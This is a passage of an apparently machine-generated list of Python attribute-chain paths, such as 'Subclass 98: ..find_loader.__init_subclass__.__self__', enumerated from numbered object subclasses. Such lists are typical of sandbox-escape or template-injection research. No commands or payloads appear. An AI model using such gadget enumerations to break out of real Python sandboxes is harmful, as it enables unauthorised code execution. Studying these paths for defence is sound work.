95: ..__subclasshook__.__self__.__contains__", "Subclass 98: ..__repr__.__subclasshook__.__self__", "Subclass 98: ..find_loader.__init_subclass__.__self__", "Subclass 109: ..readlines.__le__.__self__", "Subclass 105: ..resource_path.__init__.__self__", "Subclass 164: ..__init_subclass__.__self__.repr", "Subclass 177: .._push_cm_exit.__setattr__.__self__", "Subclass 114: ..__hash__", "Subclass 164: ..repr_str.__sizeof__.__self__", "Subclass 174: ..__init__.__getattribute__.__self__", "Subclass 105: ..__init__.__call__.__objclass__", "Subclass 109: ..__exit__.__le__.__self__", "Subclass 81: ..acquire.__eq__.__self__", "Subclass 192: ..__new__.__subclasshook__.__self__", "Subclass 179: ..__class__.__dir__.__class__", "Subclass 96: ..create_module.__reduce_ex__.__self__", "Subclass 140: ..__init__", "Subclass 137: ..getter.__delattr__.__self__", "Subclass 132: ..__call__.__sizeof__.__self__", "Subclass 183: ..__weakref__.__objclass__.checklookbehindgroup", "Subclass 137: ..__get__.__call__.__objclass__", "Subclass 104: ..find_module.__reduce__.__self__", "Subclass 109: ..readlines.__get__.__objclass__", "Subclass 96: ..__init_subclass__.__self__.create_module", "Subclass 140: ..__repr__.__reduce_ex__.__self__", "Subclass 177: .._create_cb_wrapper.__gt__.__self__", "Subclass 83: ..__repr__.__sizeof__.__self__", "Subclass 138: ..close.__lt__.__self__", "Subclass 86: ..find_module.__self__.exec_module", "Subclass 93: ..create_module.__gt__.__self__", "Subclass 179: ..__class__.__repr__", "Subclass 137: ..__weakref__.__objclass__.__set__", "Subclass 108: ..decode.__reduce__.__self__", "Subclass 164: ..repr_list.__getattribute__.__self__", "Subclass 133: ..close.__delattr__.__self__", "Subclass 135: ..__weakref__.__objclass__.__init__", "Subclass 172: ..__repr__.__repr__.__objclass__", "Subclass 107: ..encode.__get__.__objclass__", "Subclass 185: ..match.__le__.__self__", "Subclass 80: ..__init__.__ne__.__self__", "Subclass 108: ..setstate.__class__", "Subclass 133: ..__init__.__eq__.__self__", 'Global func 1: ..__ne__.__self__', "Subclass 137: ..getter.__repr__.__self__", "Subclass 86: ..module_repr.__new__.__self__", "Subclass 133: ..__init__.__get__.__self__", "Subclass 184: ..getwidth.__init__.__self__", "Subclass 183: ..__init__.__eq__.__self__", "Subclass 172: ..__subclasshook__.__self__._make_unbound_method", "Subclass 137: ..__delete__.__class__", "Subclass 184: ..__repr__.__subclasshook__.__self__", "Subclass 94: ..__init__.__init_subclass__.__self__", "Subclass 93: ..__init_subclass__.__self__.load_module", "Subclass 174: ..__set_name__.__init_subclass__.__self__", "Subclass 95: ..__len__.__lt__.__self__", "Subclass 109: ..reset.__ne__.__self__", "Subclass 117: ..__aiter__.__ge__.__self__", "Subclass 199: ..is_resource.__init_subclass__.__self__", "Subclass 96: ..create_module.__dir__.__self__", "Subclass 177: .._create_cb_wrapper.__new__.__self__", "Subclass 183: ..checklookbehindgroup.__repr__.__self__", "Subclass 98: .._get_spec.__getattribute__.__self__", "Subclass 96: ..get_source.__repr__.__objclass__", "Subclass 94: ..open_resource.__subclasshook__.__self__", "Subclass 119: ..__class__.__instancecheck__", "Subclass 95: ..__init_subclass__.__self__.__repr__", "Subclass 81: ..__init__.__format__.__self__", "Subclass 177: .._push_exit_callback.__call__.__objclass__", "Subclass 174: ..__subclasshook__.__self__.__set_name__", "Subclass 164: ..repr_str.__repr__.__objclass__", "Subclass 134: ..__init__.__repr__.__objclass__", "Subclass 105: ..__init__.__init__.__self__", "Subclass 87: ..__enter__.__format__.__self__", "Subclass 164: ..repr_deque.__reduce__.__self__", "Subclass 106: ..decode.__reduce__.__self__", "Subclass 172: ..__init__.__init_subclass__.__self__", "Subclass 195: ..BinaryIO.__exit__.__class__", "Subclass 83: ..__eq__.__setattr__.__self__", "Subclass 93: ..load_module.__reduce__.__self__", "Subclass 98: ..__init__.__subclasshook__.__self__", "Subclass 80: ..has_deadlock.__get__.__objclass__", "Subclass 109: ..seek.__dir__.__self__", "Subclass 110: ..__init_subclass__.__self__.readline", "Subclass 109: ..__init_subclass__.__self__.readlines", "Subclass 140: ..__enter__.__setattr__.__self__", "Subclass 177: ..__weakref__.__objclass__.push", "Subclass 94: ..get_filename.__new__.__self__", "Subclass 94: ..resource_path.__call__.__objclass__", "Subclass 110: ..__enter__.__delattr__.__self__", "Subclass 195: ..IO.readable.__class__", "Subclass 82: ..__exit__.__get__.__objclass__", "Subclass 137: ..getter.__call__.__objclass__", "Subclass 105: ..is_resource.__class__", "Subclass 98: .._fill_cache.__getattribute__.__self__", "Subclass 133: ..close.__repr__.__objclass__", "Subclass 183: ..__init__.__le__.__self__", "Subclass 94: ..__eq__.__setattr__.__self__", "Subclass 107: ..setstate.__call__.__objclass__", "Subclass 185: ..getwhile.__delattr__.__self__", "Subclass 94: ..resource_path", "Subclass 119: ..__iter__", "Subclass 81: ..__repr__.__hash__.__self__", "Subclass 184: ..__init__.__ge__.__self__", "Subclass 115: ..__class__._abc_caches_clear.__class__", "Subclass 107: ..setstate.__dir__.__self__", "Subclass 138: ..__subclasshook__.__self__.close", "Subclass 174: ..__init__.__new__.__self__", "Subclass 164: ..repr_deque.__ne__.__self__", "Subclass 184: ..insert.__setattr__.__self__", "Subclass 81: ..__subclasshook__.__self__.__init__", "Subclass 192: ..__class_getitem__.__self__.__new__", "Subclass 95: ..__init__.__lt__.__self__", "Subclass 173: ..__get__.__subclasshook__.__self__", "Subclass 98: ..__init_subclass__.__self__.invalidate_caches", "Subclass 138: ..__weakref__.__objclass__.__init__", "Subclass 96: ..load_module.__reduce_ex__.__self__", "Subclass 137: ..deleter.__hash__.__self__", 'Global func 1: ..__sizeof__.__self__', "Subclass 185: ..match.__get__.__objclass__", "Subclass 98: ..find_spec.__reduce__.__self__", "Subclass 185: ..get.__class__", "Subclass 199: ..contents.__get__.__self__", "Subclass 93: ..exec_module.__setattr__.__self__", "Subclass 80: ..release.__get__.__objclass__", "Subclass 197: ..find_module.__get__.__self__", "Subclass 93: ..create_module.__ge__.__self__", "Subclass 172: ..__repr__.__sizeof__.__self__", "Subclass 184: ..dump.__ge__.__self__", "Subclass 140: ..__enter__.__lt__.__self__", "Subclass 110: ..readlines.__hash__.__self__", "Subclass 138: ..__iter__.__setattr__.__self__", "Subclass 177: ..enter_context.__sizeof__.__self__", "Subclass 131: ..__class__._abc_registry_clear.__class__", "Subclass 177: ..__subclasshook__.__self__.pop_all", "Subclass 164: ..repr_str.__str__.__self__", "Subclass 98: ..find_module.__get__.__self__", "Subclass 117: ..__class__._dump_registry", "Subclass 185: ..__init_subclass__.__self__._Tokenizer__next", "Subclass 105: ..__init_subclass__.__self__.open_resource", "Subclass 184: ..__len__.__ne__.__self__", "Subclass 110: ..__exit__.__str__.__self__", "Subclass 105: ..contents.__str__.__self__", "Subclass 114: ..__hash__.__lt__.__self__", "Subclass 185: ..match.__ge__.__self__", "Subclass 93: ..create_module.__subclasshook__.__self__", "Subclass 137: ..setter.__call__.__self__", "Subclass 110: ..reset.__class__", "Subclass 134: ..__repr__.__new__.__self__", "Subclass 107: ..getstate.__gt__.__self__", "Subclass 177: ..callback.__sizeof__.__self__", "Subclass 174: ..__set_name__.__call__.__objclass__", "Subclass 94: ..__weakref__.__objclass__.is_resource", "Subclass 106: ..decode.__ne__.__self__", "Subclass 135: ..__init__.__delattr__.__self__", "Subclass 98: .._fill_cache.__ne__.__self__", "Subclass 110: ..readline.__class__", "Subclass 108: ..__init__.__str__.__self__", "Subclass 174: ..__set_name__.__hash__.__self__", "Subclass 137: ..__set__.__reduce_ex__.__self__", "Subclass 119: ..__subclasshook__.__func__", "Subclass 98: ..invalidate_caches.__call__.__objclass__", "Subclass 94: ..__hash__.__hash__.__self__", "Subclass 140: ..__init__.__lt__.__self__", "Subclass 94: ..get_data.__dir__.__self__", "Subclass 98: ..__subclasshook__.__self__.find_spec", "Subclass 137: ..setter.__getattribute__.__self__", "Subclass 108: ..__init__.__repr__.__objclass__", "Subclass 185: ..tell.__hash__.__self__", "Subclass 105: ..__init__.__eq__.__self__", "Subclass 133: ..__enter__.__class__", "Subclass 84: ..get_code.__func__", "Subclass 192: ..__new__.__repr__.__objclass__", "Subclass 82: ..__init__", "Subclass 114: ..__hash__.__call__.__objclass__", "Subclass 119: ..__iter__.__get__.__objclass__", "Subclass 109: ..__next__.__delattr__.__self__", "Subclass 137: ..__init__.__get__.__self__", "Subclass 188: ..__deepcopy__.__reduce__.__self__", "Subclass 183: ..closegroup.__get__.__objclass__", "Subclass 110: ..reset.__reduce_ex__.__self__", "Subclass 110: ..read.__setattr__.__self__", "Subclass 185: ..seek.__setattr__.__self__", "Subclass 183: ..checkgroup.__class__", "Subclass 96: ..create_module.__new__.__self__", "Subclass 104: ..get_source.__ge__.__self__", "Subclass 80: ..__repr__.__le__.__self__", "Subclass 164: ..repr_list.__str__.__self__", "Subclass 110: ..__enter__.__gt__.__self__", "Subclass 172: ..__init__.__hash__.__self__", "Subclass 109: ..__weakref__.__objclass__.__iter__", "Subclass 109: ..write.__repr__.__objclass__", "Subclass 104: ..__repr__.__getattribute__.__self__", "Subclass 119: ..__iter__.__class__", "Subclass 173: ..__init__.__str__.__self__", "Subclass 138: ..throw.__lt__.__self__", "Subclass 133: ..__getattr__", "Subclass 109: ..readlines.__format__.__self__", "Subclass 185: ..getwhile.__repr__.__self__", "Subclass 109: ..__subclasshook__.__self__.seek", "Subclass 98: .._fill_cache.__hash__.__self__", "Subclass 87: ..__enter__.__hash__.__self__", "Subclass 107: ..reset.__repr__.__objclass__", "Subclass 81: ..release.__ne__.__self__", "Subclass 177: .._push_exit_callback.__hash__.__self__", "Subclass 109: ..__getattr__.__ge__.__self__", "Subclass 177: .._push_exit_callback.__str__.__self__", "Subclass 164: ..repr_set.__reduce__.__self__", "Subclass 176: ..__init__.__format__.__self__", "Subclass 84: ..module_repr.__str__.__self__", "Subclass 186: ..scan.__repr__.__objclass__", "Subclass 96: ..is_package.__repr__.__objclass__", "Subclass 114: ..__class__._dump_registry", "Subclass 164: ..repr_dict.__setattr__.__self__", "Subclass 109: ..__exit__.__lt__.__self__", "Subclass 138: ..send.__get__.__objclass__", "Subclass 83: ..__repr__.__get__.__self__", "Subclass 108: ..reset.__setattr__.__self__", "Subclass 164: ..repr_set.__format__.__self__", "Subclass 164: ..repr_frozenset.__repr__.__self__", "Subclass 108: ..decode.__gt__.__self__", "Subclass 172: .._make_unbound_method.__sizeof__.__self__", "Subclass 183: ..__init__.__init__.__self__", "Subclass 199: ..contents.__repr__.__objclass__", "Subclass 184: ..__len__.__reduce__.__self__", "Subclass 98: ..__subclasshook__.__self__._get_spec", "Subclass 199: ..resource_path.__get__.__self__", "Subclass 183: ..__init__.__setattr__.__self__", "Subclass 164: ..repr_array.__reduce_ex__.__self__", "Subclass 104: ..get_source.__reduce__.__self__", "Subclass 95: .._get_parent_path.__hash__.__self__", "Subclass 177: ..enter_context.__dir__.__self__", "Subclass 98: .._fill_cache.__lt__.__self__", "Subclass 172: ..__repr__.__gt__.__self__", "Subclass 107: ..__init_subclass__.__self__.getstate", "Subclass 80: ..release.__lt__.__self__", "Subclass 179: ..__class__.__getattr__.__class__", "Subclass 197: ..__class__._abc_caches_clear", "Subclass 98: ..__init__.__call__.__objclass__", "Subclass 164: ..repr1.__eq__.__self__", "Subclass 94: ..get_resource_reader.__repr__.__objclass__", "Subclass 98: ..__init__.__ne__.__self__", "Subclass 195: ..BinaryIO.readlines", "Subclass 177: .._push_exit_callback.__init__.__self__", "Subclass 172: ..__init__.__format__.__self__", "Subclass 86: ..find_module.__func__", "Subclass 95: ..__iter__.__ge__.__self__", "Subclass 108: ..__subclasshook__.__self__.decode", "Subclass 164: ..__weakref__.__objclass__.repr_int", "Subclass 172: ..__subclasshook__.__self__.__repr__", "Subclass 109: ..__iter__", "Subclass 138: ..__iter__.__repr__.__self__", "Subclass 96: ..get_code.__format__.__self__", "Subclass 137: ..__init__.__format__.__self__", "Subclass 94: ..get_filename.__dir__.__self__", "Subclass 109: ..writelines.__delattr__.__self__", "Subclass 110: ..writelines", "Subclass 98: .._fill_cache.__reduce__.__self__", "Subclass 133: ..__exit__.__new__.__self__", "Subclass 184: ..getwidth.__setattr__.__self__", "Subclass 184: ..append.__format__.__self__", "Subclass 186: ..scan.__init__.__self__", "Subclass 188: ..__copy__.__lt__.__self__", "Subclass 132: ..__call__.__hash__.__self__", "Subclass 109: ..__enter__.__gt__.__self__", "Subclass 164: ..__init_subclass__.__self__.repr_instance", "Subclass 119: ..__iter__.__dir__.__self__", "Subclass 104: ..get_code.__repr__.__objclass__", "Subclass 140: ..__enter__.__class__", "Subclass 110: ..readlines.__sizeof__.__self__", "Subclass 184: ..dump.__init_subclass__.__self__", "Subclass 94: ..__weakref__.__objclass__.get_resource_reader", "Subclass 179: ..__class__.__setattr__", "Subclass 112: ..__class__.__new__", "Subclass 94: ..resource_path.__ge__.__self__", "Subclass 135: ..__repr__.__ne__.__self__", "Subclass 140: ..__repr__.__init__.__self__", "Subclass 98: ..path_hook.__func__.__class__", "Subclass 112: ..__class__._dump_registry", "Subclass 131: ..__class__.__subclasscheck__.__class__", "Subclass 199: ..__init_subclass__.__self__.is_resource", "Subclass 193: ..__class__.__new__", "Subclass 194: ..__class__.__instancecheck__.__class__", "Subclass 199: ..is_resource.__gt__.__self__", "Subclass 195: ..BinaryIO.seekable", "Subclass 110: ..seek", "Subclass 94: ..resource_path.__subclasshook__.__self__", "Subclass 80: ..acquire.__eq__.__self__", "Subclass 94: ..open_resource.__class__", "Subclass 177: .._push_exit_callback.__ne__.__self__", "Subclass 94: ..contents.__reduce__.__self__", "Subclass 179: ..__class__.__contains__.__class__", "Subclass 172: .._make_unbound_method.__new__.__self__", "Subclass 174: ..__init__.__repr__.__self__", "Subclass 199: ..is_resource.__delattr__.__self__", "Subclass 137: ..__delete__.__repr__.__self__", "Subclass 109: ..__exit__", "Subclass 164: ..repr_instance.__new__.__self__", "Subclass 104: ..__init_subclass__.__self__.get_source", "Subclass 137: ..__delete__.__hash__.__self__", "Subclass 115: ..__class__.__subclasscheck__", "Subclass 96: ..get_source.__get__.__objclass__", "Subclass 175: ..__call__.__class__", "Subclass 137: ..__delete__.__eq__.__self__", "Subclass 183: ..checkgroup.__sizeof__.__self__", 'Global func 1: ..__init__.__self__', "Subclass 80: ..release.__gt__.__self__", "Subclass 134: ..__init__.__lt__.__self__", "Subclass 81: ..__repr__.__class__", "Subclass 177: ..callback.__eq__.__self__", "Subclass 134: ..__init__.__subclasshook__.__self__", "Subclass 195: ..TextIO.__class_getitem__.__func__", "Subclass 83: ..__init__.__ge__.__self__", "Subclass 140: ..__exit__.__le__.__self__", "Subclass 135: ..__call__.__gt__.__self__", "Subclass 80: ..acquire.__init_subclass__.__self__", "Subclass 192: ..__new__.__get__.__objclass__", "Subclass 173: ..register", "Subclass 140: ..__repr__.__gt__.__self__", "Subclass 139: ..__init__.__le__.__self__", "Subclass 133: ..__getattr__.__init_subclass__.__self__", "Subclass 108: ..reset.__eq__.__self__", "Subclass 107: ..getstate", "Subclass 164: ..repr_dict.__le__.__self__", "Subclass 94: ..load_module.__ne__.__self__", "Subclass 104: ..is_package.__lt__.__self__", "Subclass 110: ..reset.__sizeof__.__self__", "Subclass 135: ..__call__.__init__.__self__", "Subclass 138: ..throw.__ne__.__self__", "Subclass 80: ..acquire.__delattr__.__self__", "Subclass 104: ..find_module.__hash__.__self__", "Subclass 173: ..register.__dir__.__self__", "Subclass 93: ..create_module.__sizeof__.__self__", "Subclass 164: ..repr.__format__.__self__", "Subclass 110: ..readlines.__dir__.__self__", "Subclass 133: ..__enter__.__gt__.__self__", "Subclass 109: ..__getattr__.__str__.__self__", "Subclass 136: ..__call__.__sizeof__.__self__", 'Global func 1: ..__get__.__self__', "Subclass 185: .._Tokenizer__next.__init_subclass__.__self__", "Subclass 175: ..__call__.__init_subclass__.__self__", "Subclass 104: ..is_package.__call__.__self__", "Subclass 174: ..__get__.__gt__.__self__", "Subclass 98: ..find_spec.__setattr__.__self__", "Subclass 104: ..load_module.__dir__.__self__", "Subclass 81: ..__init__.__call__.__objclass__", "Subclass 184: ..__subclasshook__.__self__.insert", "Subclass 94: ..__init_subclass__.__self__.is_resource", "Subclass 183: ..checklookbehindgroup.__eq__.__self__", "Subclass 173: ..__weakref__.__objclass__.register", "Subclass 83: ..__eq__.__sizeof__.__self__", "Subclass 172: ..__weakref__.__objclass__.__get__", "Subclass 199: ..is_resource.__get__.__self__", "Subclass 198: ..load_module.__get__.__objclass__", "Subclass 95: .._get_parent_path.__str__.__self__", "Subclass 110: ..__iter__.__get__.__objclass__", "Subclass 177: .._push_cm_exit.__repr__.__self__", "Subclass 108: ..decode.__setattr__.__self__", "Subclass 109: ..seek.__reduce__.__self__", "Subclass 110: ..__getattr__.__delattr__.__self__", "Subclass 95: .._find_parent_path_names.__reduce_ex__.__self__", "Subclass 117: ..__aiter__.__ne__.__self__", "Subclass 196: ..Match.__mro_entries__.__func__", "Subclass 95: ..__setitem__.__class__", "Subclass 164: ..__init_subclass__.__self__.repr_list", "Subclass 96: ..exec_module.__subclasshook__.__self__", "Subclass 109: ..__iter__.__reduce__.__self__", "Subclass 199: ..open_resource.__subclasshook__.__self__", "Subclass 184: ..__subclasshook__.__self__.__setitem__", "Subclass 86: ..module_repr.__format__.__self__", "Subclass 104: ..get_resource_reader.__get__.__objclass__", "Subclass 138: ..__next__.__format__.__self__", "Subclass 104: ..__repr__.__ne__.__self__", "Subclass 96: ..__init__.__format__.__self__", "Subclass 164: ..__init__.__str__.__self__", "Subclass 86: ..exec_module.__dir__.__self__", "Subclass 93: ..exec_module.__lt__.__self__", "Subclass 177: .._push_cm_exit.__subclasshook__.__self__", "Subclass 138: ..send.__sizeof__.__self__", "Subclass 119: ..__class__._abc_caches_clear", "Subclass 164: ..__weakref__.__objclass__.repr_tuple", "Subclass 184: ..__init__.__get__.__self__", "Subclass 105: ..open_resource.__reduce__.__self__", "Subclass 164: ..repr.__repr__.__self__", "Subclass 173: ..register.__repr__.__objclass__", "Subclass 98: .._fill_cache.__reduce_ex__.__self__", "Subclass 164: ..repr_deque.__call__.__self__", "Subclass 174: ..__get__.__getattribute__.__self__", "Subclass 108: ..decode.__call__.__self__", "Subclass 81: ..acquire.__dir__.__self__", "Subclass 183: ..checkgroup.__repr__.__objclass__", "Subclass 92: ..find_spec.__func__.__class__", "Subclass 107: ..encode.__le__.__self__", "Subclass 110: ..__getattr__.__reduce__.__self__", "Subclass 110: ..__exit__.__repr__.__objclass__", "Subclass 110: ..write.__lt__.__self__", "Subclass 139: ..__init__.__getattribute__.__self__", "Subclass 195: ..TextIO.__enter__.__class__", "Subclass 172: .._make_unbound_method.__dir__.__self__", "Subclass 185: ..seek.__reduce_ex__.__self__", "Subclass 172: ..__init__.__sizeof__.__self__", "Subclass 110: ..__exit__.__getattribute__.__self__", "Subclass 84: ..load_module.__func__.__class__", "Subclass 176: ..__init__.__new__.__self__", "Subclass 184: ..getwidth.__class__", "Subclass 177: .._push_exit_callback.__gt__.__self__", "Subclass 110: ..__init__.__get__.__objclass__", "Subclass 138: ..__init__.__dir__.__self__", "Subclass 110: ..readline.__format__.__self__", "Subclass 93: ..exec_module.__class__", "Subclass 133: ..__enter__.__init__.__self__", "Subclass 98: ..__init__.__sizeof__.__self__", "Subclass 140: ..__enter__.__hash__.__self__", "Subclass 96: ..get_code.__lt__.__self__", "Subclass 139: ..__init_subclass__.__self__.__str__", "Subclass 183: ..opengroup.__new__.__self__", "Subclass 105: ..__init__.__le__.__self__", "Subclass 135: ..__init__.__init__.__self__", "Subclass 84: ..exec_module.__func__", "Subclass 98: .._get_spec.__call__.__self__", "Subclass 94: ..__hash__.__setattr__.__self__", "Subclass 107: ..__subclasshook__.__self__.encode", "Subclass 177: ..__init__.__get__.__objclass__", "Subclass 110: ..reset.__format__.__self__", "Subclass 184: ..insert", "Subclass 130: ..__class__._dump_registry", "Subclass 199: ..open_resource.__eq__.__self__", "Subclass 109: ..__getattr__.__repr__.__objclass__", "Subclass 98: ..find_module.__repr__.__self__", "Subclass 109: ..read.__hash__.__self__", 'Global func 1: ..__class__.__init_subclass__.__self__', "Subclass 192: ..__init_subclass__.__func__", "Subclass 81: ..release.__hash__.__self__", "Subclass 104: ..is_package.__new__.__self__", "Subclass 110: ..__enter__.__le__.__self__", "Subclass 175: ..__call__.__delattr__.__self__", "Subclass 138: ..__iter__.__class__", "Subclass 108: ..__init_subclass__.__self__.__init__", "Subclass 184: ..__setitem__.__dir__.__self__", "Subclass 189: ..__init_subclass__.__func__.__class__", "Subclass 164: ..repr_deque.__repr__.__self__", "Subclass 93: ..exec_module.__repr__.__objclass__", "Subclass 164: ..__weakref__.__objclass__.repr1", "Subclass 184: ..append", "Subclass 197: ..find_module.__format__.__self__", "Subclass 185: ..match.__reduce__.__self__", "Subclass 96: ..get_code.__get__.__self__", "Subclass 95: ..__init__", "Subclass 94: ..__hash__.__eq__.__self__", "Subclass 106: ..decode.__call__.__objclass__", "Subclass 104: ..__init__.__format__.__self__", "Subclass 94: ..__hash__", "Subclass 176: ..__init__.__reduce__.__self__", "Subclass 104: ..find_loader.__init__.__self__", "Subclass 96: ..load_module", "Subclass 164: ..repr_tuple.__sizeof__.__self__", "Subclass 164: ..repr_int.__subclasshook__.__self__", "Subclass 108: ..setstate.__eq__.__self__", "Subclass 184: ..__setitem__.__str__.__self__", "Subclass 104: ..load_module.__init__.__self__", "Subclass 135: .._Printer__setup.__call__.__self__", "Subclass 104: ..__init__.__call__.__self__", "Subclass 135: ..__repr__.__ge__.__self__", "Subclass 117: ..__class__.__new__", "Subclass 110: ..readlines.__reduce__.__self__", "Subclass 109: ..__exit__.__class__", "Subclass 198: ..module_repr.__init__.__self__", "Subclass 81: ..__init_subclass__.__self__.release", "Subclass 94: ..get_filename.__ne__.__self__", "Subclass 104: ..is_package.__call__.__objclass__", "Subclass 177: ..pop_all.__delattr__.__self__", "Subclass 95: ..__getitem__.__le__.__self__", "Subclass 184: ..__weakref__.__objclass__.append", "Subclass 98: ..invalidate_caches.__delattr__.__self__", "Subclass 184: ..insert.__call__.__self__", "Subclass 110: ..__getattr__.__hash__.__self__", "Subclass 104: ..__init_subclass__.__self__.is_package", "Subclass 104: ..get_filename.__gt__.__self__", "Subclass 95: ..__init_subclass__.__self__._get_parent_path", "Subclass 94: ..load_module.__init__.__self__", "Subclass 184: ..getwidth.__sizeof__.__self__", "Subclass 117: ..__aiter__.__get__.__self__", "Subclass 39: ..__kwdefaults__.__objclass__", "Subclass 177: ..__init_subclass__.__self__.callback", "Subclass 95: ..__contains__.__hash__.__self__", "Subclass 138: ..__iter__.__get__.__objclass__", "Subclass 184: ..getwidth.__get__.__objclass__", "Subclass 87: ..__exit__.__new__.__self__", "Subclass 93: ..exec_module.__ge__.__self__", "Subclass 98: ..__weakref__.__objclass__.find_spec", "Subclass 185: ..error.__format__.__self__", "Subclass 94: ..get_resource_reader.__delattr__.__self__", "Subclass 133: ..__init__.__le__.__self__", "Subclass 109: ..__weakref__.__objclass__.readlines", "Subclass 108: ..__init__.__reduce__.__self__", "Subclass 110: ..seek.__setattr__.__self__", "Subclass 133: ..__exit__.__format__.__self__", "Subclass 164: ..__weakref__.__objclass__._repr_iterable", "Subclass 87: ..__exit__.__hash__.__self__", "Subclass 133: ..__init__.__new__.__self__", "Subclass 195: ..IO.writable.__class__", "Subclass 109: ..__exit__.__getattribute__.__self__", "Subclass 138: ..__await__.__call__.__self__", "Subclass 107: ..reset.__eq__.__self__", "Subclass 185: ..__weakref__.__objclass__.seek", "Subclass 184: ..__delitem__.__repr__.__self__", "Subclass 80: ..__init__.__getattribute__.__self__", "Subclass 96: ..get_source.__init__.__self__", "Subclass 110: ..seek.__repr__.__objclass__", "Subclass 105: ..__init_subclass__.__self__.resource_path", "Subclass 87: ..__enter__.__getattribute__.__self__", "Subclass 105: ..__init__.__sizeof__.__self__", "Subclass 98: ..invalidate_caches.__dir__.__self__", "Subclass 184: ..__getitem__.__delattr__.__self__", "Subclass 138: ..throw.__call__.__objclass__", "Subclass 164: ..__subclasshook__.__self__.repr_deque", "Subclass 83: ..__init__.__repr__.__self__", "Subclass 95: ..__init__.__repr__.__objclass__", "Subclass 173: ..__get__.__ne__.__self__", "Subclass 104: ..get_resource_reader.__format__.__self__", "Subclass 104: ..load_module.__format__.__self__", "Subclass 110: ..reset.__eq__.__self__", "Subclass 174: ..__init__.__setattr__.__self__", "Subclass 177: ..__init__.__le__.__self__", "Subclass 80: ..acquire.__sizeof__.__self__", "Subclass 188: ..__init_subclass__.__self__.__copy__", "Subclass 109: ..readline.__gt__.__self__", "Subclass 109: ..write", "Subclass 81: ..release.__call__.__self__", "Subclass 94: ..get_resource_reader.__str__.__self__", "Subclass 185: ..seek.__get__.__self__", "Subclass 185: ..getuntil.__dir__.__self__", "Subclass 184: ..__init__.__gt__.__self__", "Subclass 172: ..__init_subclass__.__self__.__repr__", "Subclass 95: ..__init_subclass__.__self__.append", "Subclass 94: ..__hash__.__get__.__objclass__", "Subclass 94: ..__hash__.__gt__.__self__", "Subclass 185: ..__subclasshook__.__self__.error", "Subclass 110: ..read.__dir__.__self__", "Subclass 183: ..checkgroup.__dir__.__self__", "Subclass 94: ..load_module.__ge__.__self__", "Subclass 184: ..__repr__", "Subclass 184: ..append.__ne__.__self__", "Subclass 86: ..module_repr.__sizeof__.__self__", "Subclass 96: ..create_module.__subclasshook__.__self__", "Subclass 192: ..__new__.__getattribute__.__self__", "Subclass 95: .._recalculate.__gt__.__self__", "Subclass 138: ..__next__.__ge__.__self__", "Subclass 110: ..readlines.__ge__.__self__", "Subclass 87: ..__enter__.__subclasshook__.__self__", "Subclass 164: ..repr_str.__le__.__self__", "Subclass 131: ..__contains__.__repr__.__objclass__", "Subclass 105: ..open_resource.__call__.__objclass__", "Subclass 177: ..push.__repr__.__objclass__", "Subclass 185: ..get.__lt__.__self__", "Subclass 110: ..writelines.__hash__.__self__", "Subclass 164: ..repr_array.__sizeof__.__self__", "Subclass 164: ..__weakref__.__objclass__.repr_list", "Subclass 109: ..write.__ge__.__self__", "Subclass 136: ..__repr__.__eq__.__self__", "Subclass 184: ..__getitem__.__get__.__objclass__", "Subclass 104: ..get_data.__getattribute__.__self__", "Subclass 195: ..TextIO.writable", "Subclass 197: ..find_module.__call__.__objclass__", "Subclass 164: ..repr_deque.__sizeof__.__self__", "Subclass 173: ..register.__le__.__self__", "Subclass 177: .._create_cb_wrapper.__hash__.__self__", "Subclass 185: ..getwhile.__gt__.__self__", "Subclass 137: ..__init__.__delattr__.__self__", "Subclass 115: ..__await__.__lt__.__self__", "Subclass 139: ..__init__.__str__.__self__", "Subclass 188: ..__deepcopy__.__subclasshook__.__self__", "Subclass 98: .._get_spec.__sizeof__.__self__", "Subclass 172: ..__subclasshook__.__self__.__init__", "Subclass 84: ..module_repr.__getattribute__.__self__", "Subclass 134: ..__call__.__call__.__self__", "Subclass 105: ..open_resource.__hash__.__self__", "Subclass 108: ..__init__.__lt__.__self__", "Subclass 107: ..__init__.__subclasshook__.__self__", "Subclass 177: .._push_cm_exit.__hash__.__self__", "Subclass 199: ..resource_path.__reduce_ex__.__self__", "Subclass 110: ..writelines.__eq__.__self__", "Subclass 138: ..send.__new__.__self__", "Subclass 138: ..__next__.__ne__.__self__", "Subclass 109: ..__getattr__.__sizeof__.__self__", "Subclass 110: ..seek.__init__.__self__", "Subclass 94: ..get_resource_reader.__hash__.__self__", "Subclass 138: ..__init_subclass__.__self__.__iter__", "Subclass 134: ..__weakref__.__objclass__.__init__", "Subclass 87: ..__exit__.__ge__.__self__", "Subclass 110: ..readlines.__gt__.__self__", "Subclass 109: ..__init__.__get__.__objclass__", "Subclass 131: ..__init_subclass__.__self__.__contains__", "Subclass 95: .._recalculate.__class__", "Subclass 83: ..__eq__.__ne__.__self__", "Subclass 80: ..acquire.__reduce_ex__.__self__", "Subclass 96: ..__init__.__sizeof__.__self__", "Subclass 184: ..insert.__reduce_ex__.__self__", "Subclass 109: ..seek.__subclasshook__.__self__", "Subclass 164: ..repr_instance.__hash__.__self__", "Subclass 199: ..is_resource.__call__.__self__", "Subclass 80: ..__init__.__str__.__self__", "Subclass 98: ..invalidate_caches.__sizeof__.__self__", "Subclass 137: ..__get__.__str__.__self__", "Subclass 110: ..__weakref__.__objclass__.readline", "Subclass 135: .._Printer__setup.__repr__.__self__", "Subclass 80: ..__repr__.__subclasshook__.__self__", "Subclass 105: ..__init__.__class__", "Subclass 110: ..reset.__init_subclass__.__self__", "Subclass 139: ..__init_subclass__.__self__.__init__", "Subclass 185: ..match.__call__.__self__", "Subclass 164: ..repr_frozenset.__new__.__self__", "Subclass 109: ..__weakref__.__objclass__.read", "Subclass 83: ..__eq__.__getattribute__.__self__", "Subclass 98: ..invalidate_caches.__setattr__.__self__", "Subclass 110: ..__iter__.__subclasshook__.__self__", "Subclass 94: ..__hash__.__call__.__objclass__", "Subclass 94: ..__init__.__delattr__.__self__", "Subclass 96: ..is_package.__call__.__self__", "Subclass 164: ..repr_dict.__init_subclass__.__self__", "Subclass 184: ..insert.__ne__.__self__", "Subclass 96: ..exec_module.__getattribute__.__self__", "Subclass 94: ..is_resource.__lt__.__self__", "Subclass 138: ..send.__class__", "Subclass 137: ..getter.__sizeof__.__self__", "Subclass 164: ..__init__.__class__", "Subclass 115: ..__subclasshook__.__func__.__class__", "Subclass 173: ..__weakref__.__objclass__.__init__", "Subclass 185: ..seek.__hash__.__self__", "Subclass 108: ..reset.__hash__.__self__", "Subclass 184: ..__init__.__sizeof__.__self__", "Subclass 109: ..__getattr__.__reduce_ex__.__self__", "Subclass 135: ..__init__.__class__", "Subclass 81: 